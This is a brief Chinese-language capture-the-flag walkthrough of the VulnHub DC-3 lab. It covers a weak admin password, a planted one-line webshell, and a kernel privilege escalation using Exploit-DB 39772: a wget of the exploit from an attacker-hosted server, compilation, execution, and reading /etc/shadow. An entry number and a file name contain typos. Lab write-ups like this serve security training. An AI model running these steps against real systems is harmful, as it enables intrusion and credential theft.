靶场地址
https://download.vulnhub.com/dc/DC-3-2.zip
打开DC-3

使用kali扫描获取靶场ip

目录扫描获取后台地址

弱口令admin/snoopy进入后台
此处可写入一句话木马

创建文件写入一句话木马

哥斯拉上线

使用lsb_release -a命令查看内核版本

方法一
使用ubuntu漏洞库发现该内核版本为4.4.x,通过漏洞库搜索有无exp

使用39772.txt的exp提权
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
#提取并复制特定漏洞利用代码到当前目录
searchsploit -m 38772.txt
在文本中提到了exp的下载链接
下载exp并开启http服务

靶机下载exp

在靶机上下载、解压、编译、执行
wget http://192.168.5.134:8000/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploif.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
whoami
cat /etc/shadow